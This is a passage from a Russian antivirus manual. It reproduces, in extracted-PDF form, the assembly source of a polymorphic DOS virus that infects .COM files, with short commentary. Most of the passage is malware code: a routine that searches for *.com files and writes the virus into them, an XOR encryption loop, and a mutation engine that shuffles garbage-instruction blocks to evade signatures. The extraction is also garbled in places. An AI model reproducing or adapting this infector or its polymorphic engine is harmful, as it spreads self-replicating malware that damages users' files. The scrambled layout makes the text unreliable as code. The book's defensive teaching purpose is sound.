Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
111 |
|
|
|
|
|
end_preob: |
|
|
|
|
stosb |
|
; После преобразования кладем его на место |
|
loop generator |
; Обрабатываем всю таблицу блоков |
|
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
|
random2: |
|
|
; Процедура преобразования байта |
|
in ax,40h |
; В ax помещается случайное число |
|
|
and ax,5 |
; Ограничиваем его диапазоном 0-5 |
|
|
xchg ax,bx |
; Полученное число помещаем в bx |
|
|
add bx,offset garbage |
; Добавляем к нему смещение таблицы мусорных байт |
|
|
mov al,[bx] |
; Помещаем в al случайный байт из этой таблицы |
|
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
|
garbage: |
|
|
; Таблица мусорных байт |
|
nop |
|
|
|
clc |
|
|
|
stc |
|
|
|
cmc |
|
|
|
cld |
|
|
|
cli |
|
|
;---------------------------------------------- |
|
|
|
|
fmask |
db '*.c*',0 |
; |
|
handle dw ? |
; Переменные |
|
|
ch1 |
db 05h |
; |
|
ch2 |
db 20 |
; |
code |
ends |
|
|
end |
main |
|
|
;---------------------------------------------- |
|
|
|
Стоит рассмотреть логику функционирования данного полиморфного вируса |
|||
более подробно. |
|
||
Начнем с первого блока: |
|
||
;---------------------------------------------- |
|
|
|
mut1: |
|
|
|
|
sti |
|
; !!!! |
|
call |
encrypt_decrypt |
; Вызов процедуры шифрования |
|
nop |
|
; !!! |
;---------------------------------------------- |
|
|
|
mut2: |
|
|
|
|
lahf |
|
; !!!! |
|
jmp |
random_mutation |
; Начало работы вируса |
|
stc |
|
; !!!! |
;---------------------------------------------- |
|
|
|
infect_file: |
|
; Процедура инфицирования |
|
mut3: |
|
|
|
|
mov |
dx,100h |
; dx указывает на начало кода |
|
push |
bx |
; Сохраняем bx в стеке |
|
stc |
|
; !!!! |
;---------------------------------------------- |
|
|
|
mut4: |
|
|
|
|
nop |
|
; !!!! |
112 |
|
DOS вирусы |
|
|
|
call |
encrypt_decrypt |
; Вызов процедуры шифрования |
cmc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut5: |
|
|
clc |
|
; !!!! |
pop |
bx |
; Восстановим из стека bx |
lahf |
|
; !!!! |
mov |
ah,40h |
; DOS-функция записи в файл |
;---------------------------------------------- |
|
|
mut6: |
|
|
nop |
|
; !!!! |
int |
21h |
; Пишем вирусный код в файл |
dec |
bp |
; !!!! |
dec |
bp |
; !!!! |
;---------------------------------------------- |
|
|
mut7: |
|
|
nop |
|
; !!!! |
stc |
|
; !!!! |
call |
encrypt_decrypt |
; Расшифровка кода |
;---------------------------------------------- |
|
|
mut8: |
|
|
cmc |
|
; !!!! |
mov |
ax,3fh |
; !!!! |
ret |
|
; Возврат из процедуры инфицирования |
;---------------------------------------------- |
|
|
encrypt_decrypt: |
|
; Процедура шифровки/расшифровки |
mut9: |
|
|
mov |
bx,offset virus_code |
; С какого места начинаем шифровать код |
lahf |
|
; !!!! |
stc |
|
; !!!! |
;---------------------------------------------- |
|
|
xor_loop: |
|
; Здесь начинается цикл |
mut10: |
|
|
nop |
|
; !!!! |
mov |
ah,[bx] |
; Берем текущий байт и кладем в ah |
stc |
|
; !!!! |
cmc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut11: |
|
|
xor |
ah,encrypt_val |
; Преобразовываем его операцией XOR |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut12: |
|
|
clc |
|
; !!!! |
cmc |
|
; !!!! |
mov |
[bx],ah |
; Возвращаем байт на прежнее место |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut13: |
|
|
nop |
|
; !!!! |
nop |
|
; !!!! |
inc |
bx |
; Переходим к следующему байту |
stc |
|
; !!!! |
DOS вирусы |
|
113 |
|
|
|
clc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut14: |
|
|
sahf |
|
; !!!! |
cmp |
bx,offset virus_code+virus_size ; Мы все байты зашифровали? |
|
;---------------------------------------------- |
|
|
mut15: |
|
|
lahf |
|
; !!!! |
jle |
xor_loop |
; Если нет, то шифруем до конца |
nop |
|
; !!!! |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut16: |
|
|
stc |
|
; !!!! |
clc |
|
; !!!! |
cli |
|
; !!!! |
sti |
|
; !!!! |
ret |
|
; Возврат из шифрующей процедуры |
;---------------------------------------------- |
|
|
encrypt_val db 00h |
; Ключ шифрования |
|
virus_size equ 588 |
; Размер вируса |
|
;---------------------------------------------- |
|
|
virus_code: |
|
; С этой метки шифруется код |
random_mutation: |
|
; |
call |
polym |
; Вызов процедуры мутации нешифрованной части |
|
|
; вируса |
mov |
ah,2ch |
; Возьмем по таймеру значение |
int |
21h |
|
mov |
encrypt_val,dl |
; Присвоим это случайное значение ключу |
find_com: |
|
|
xor |
cx,cx |
|
lea |
dx,fmask |
; Найдем файл по маске *.com |
mov |
ah,4eh |
; |
int |
21h |
|
jnc |
healthy |
|
continue_search: |
|
|
mov |
ah,4fh |
; Ищем следующий файл |
int |
21h |
; |
jc exit_virus |
; Если файлов больше нет, идем на выход |
|
healthy: |
|
|
mov |
ax,3d02h |
; Откроем файл |
mov |
dx,09eh |
|
int |
21h |
|
mov |
handle,ax |
; Сохраним хэндл файла в переменную |
xchg |
ax,bx |
; Поместим хэндл файла в bx |
mov |
cx,virus_size |
; В cx поместим размер вируса |
call |
infect_file |
; Заразим файл |
call |
close_file |
; Закроем его |
jmp |
short continue_search |
; Перейдем к следующей жертве |
114 |
|
DOS вирусы |
|
|
|
ret |
|
|
close_file: |
|
|
mov |
bx,handle |
; Восстановим хэндл файла |
mov |
ah,3eh |
; Затем закроем файл |
int |
21h |
|
exit_virus: |
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
|
|
Данный блок представляет уже рассмотренный нами шифрованный вирус, но расшифровщик поделен на 16 частей по 5 байт в каждой. В каждой части инструкции настоящего расшифровщика разбавлены мусорными командами. В шифрованной части находится вызов процедуры мутации. Остальное идентич- но ранее рассмотренному шифрованному вирусу.
Переходим к второму блоку:
;---------------------------------------------- |
|
polym: |
|
call musor |
; Вызов процедуры, генерирующей мусорные команды |
call random |
; Вызов основной процедуры мутации |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
random: |
|
mov di,100h |
; Мутации начинать с начала вирусного кода |
mov dx,0 |
; Счетчик мутаций |
ran: |
|
in ax,40h |
; Получаем случайное число в ax |
and ax,3 |
; Ограничиваем его диапазоном 0-3 |
mul ch1 |
; Умножаем на 5 - размер одного блока |
xchg ax,si |
; Помещаем в si полученное число |
mov ax,dx |
; В ax помещаем номер мутируемого блока |
mul ch2 |
; Умножаем на 20 - кол-во байт в 4-х блоках |
add si,offset garbage1 |
; Добавляем к si смещение на таблицу блоков |
add si,ax |
; Добавляем ax, который указывает на один из блоков |
mov cx,5 |
; В cx помещается 5 - кол-во байт для перемещения |
rep movsb |
; Уже готовый разбавленный мусорными командами блок |
|
; Помещается в нешифрованную часть вируса |
inc dx |
; Переходим к следующему блоку |
cmp dx,15 |
; Пока все 16 блоков не мутировали |
jle ran |
; Продолжаем мутации |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
garbage1: |
; Таблица блоков. Один из четырех формирует |
|
; инструкцию расшифровщика |
db 90h |
|
db 90h |
|
db 0e8h,23h,00h ;=======================================
db 90h
DOS вирусы |
115 |
|
|
db 0e8h,24h,00h db 90h
;======================================= db 0e8h,25h,00h
db 90h db 90h
;======================================= db 90h
db 0e8h,24h,00h db 90h
;=======================================
garbage2:
db 90h db 90h db 90h
db 0ebh,47h ;=======================================
db 0ebh,4ah db 90h
db 90h db 90h
;======================================= db 90h
db 90h
db 0ebh,48h db 90h
;======================================= db 90h
db 0ebh,49h db 90h
db 90h ;======================================= garbage3:
db 90h push bx
mov dx,100h ;=======================================
push bx db 90h
mov dx,100h ;=======================================
push bx push 100h pop dx
;======================================= mov dx,100h
db 90h push bx
;=======================================
garbage4:
db 90h db 90h
db 0e8h,14h,00h
116 |
DOS вирусы |
|
|
;======================================= |
|
db 90h |
|
db 0e8h,15h,00h |
|
db 90h |
|
;======================================= |
|
db 0e8h,16h,00h |
|
db 90h |
|
db 90h |
|
;======================================= |
|
db 90h |
|
db 0e8h,15h,00h |
|
db 90h |
|
;======================================= |
|
garbage5: |
|
pop bx |
|
mov ah,3fh |
|
inc ah |
|
;======================================= |
|
pop ax |
|
xchg ax,bx |
|
mov ah,40h |
|
int 3h |
|
;======================================= |
|
mov ah,41h |
|
pop bx |
|
dec ah |
|
;======================================== |
|
mov ah,40h |
|
int 1h |
|
pop bx |
|
;======================================== |
|
garbage6: |
|
db 90h |
|
db 90h |
|
db 90h |
|
int 21h |
|
;======================================== |
|
int 21h |
|
db 90h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
db 90h |
|
int 21h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
db 90h |
|
int 21h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
garbage7: |
|
db 90h |
|
DOS вирусы |
117 |
|
|
db 90h
db 0e8h,05h,00h ;========================================
db 90h
db 0e8h,06h,00h db 90h
;========================================= db 0e8h,07h,00h
db 90h db 90h
;========================================= db 90h
db 0e8h,06h,00h db 90h
;=========================================
garbage8:
db 90h db 90h db 90h ret
db 90h ;=========================================
db 90h pop bx jmp bx db 90h
;========================================= db 90h
ret
db 90h db 90h db 90h
;========================================= pop ax
jmp ax db 90h db 90h
;=========================================
garbage9:
db 90h
db 0bbh,51h,01h db 90h
;========================================= db 90h
db 90h
db 0bbh,51h,01h ;=========================================
db 90h
mov bh,01h mov bl,51h
;========================================= mov bl,51h
mov bh,01h db 90h
118 |
DOS вирусы |
|
|
;=========================================
garbage10:
db 90h
mov ah,[bx] db 90h
db 90h ;==========================================
mov ah,[bx] db 90h
db 90h db 90h
;========================================== db 90h
db 90h
mov ah,[bx] db 90h
;========================================== db 90h
db 90h db 90h
mov ah,[bx] ;========================================== garbage11:
db 90h
xor ah,encrypt_val ;==========================================
xor ah,encrypt_val db 90h
;========================================== db 90h
xor ah,encrypt_val ;==========================================
xor ah,encrypt_val db 90h
;==========================================
garbage12:
mov [bx],ah db 90h
db 90h db 90h
;========================================== db 90h
mov [bx],ah db 90h
db 90h ;===========================================
db 90h db 90h
mov [bx],ah db 90h
;=========================================== db 90h
db 90h db 90h
DOS вирусы |
119 |
|
|
mov [bx],ah ;=========================================== garbage13:
inc bx db 90h db 90h db 90h db 90h
;============================================ db 90h
inc bx db 90h db 90h db 90h
;============================================ db 90h
db 90h inc bx db 90h db 90h
;============================================ db 90h
db 90h db 90h db 90h inc bx
;============================================
garbage14:
db 90h
cmp bx,offset virus_code+virus_size ;============================================
cmp bx,offset virus_code+virus_size db 90h
;============================================ db 90h
cmp bx,offset virus_code+virus_size ;============================================
cmp bx,offset virus_code+virus_size db 90h
;============================================
garbage15:
db 7eh,0e5h db 90h
db 90h db 90h
;============================================ db 90h
db 7eh,0e4h db 90h
db 90h ;=============================================
db 90h db 90h
db 7eh,0e3h
120 |
DOS вирусы |
|
|
db |
90h |
;============================================= |
|
db |
90h |
db |
90h |
db |
90h |
db 7eh,0e2h |
|
;============================================= |
|
garbage16: |
|
db 90h |
|
db 90h |
|
db 90h |
|
ret |
|
db 90h |
|
;============================================= |
|
db 90h |
|
pop bx |
|
jmp bx |
|
db 90h |
|
;============================================= |
|
db 90h |
|
ret |
|
db 90h |
|
db 90h |
|
db 90h |
|
;============================================= |
|
pop ax |
|
jmp ax |
|
db 90h |
|
db 90h |
|
;---------------------------------------------- |
|
В данном блоке поочередно случайным образом выбирается одна из 4 заготовок для первого блока нешифрованных инструкций, затем для второго и т. д. до 16 блока. Но перед размещением этих блоков вызывается процедура генерации мусора, которая изменяет мусорные байты в каждой таблице блоков, что существенно увеличивает количество мутаций.
Теперь перейдем к третьему блоку:
;---------------------------------------------- |
|
musor: |
; Процедура мутации мусорных команд в блоках |
lea si,garbage1 |
; В si загружается начало таблицы блоков |
mov di,si |
; Â di òî æå |
mov cx,musor-garbage1 |
; В cx кол-во байт для обработки, у нас вся таблица |
call generator |
; Вызываем процедуру генерации мусорных байт |
ret |
; Возврат из процедур |
;---------------------------------------------- |
|
generator: |
; Процедура генерации мусорных байт |
lodsb |
; Загружаем в al текущий байт |
cmp al,90h |
; Если текущий байт nop, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0f8h |
; Если текущий байт clc, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0f9h |
; Если текущий байт stc, |
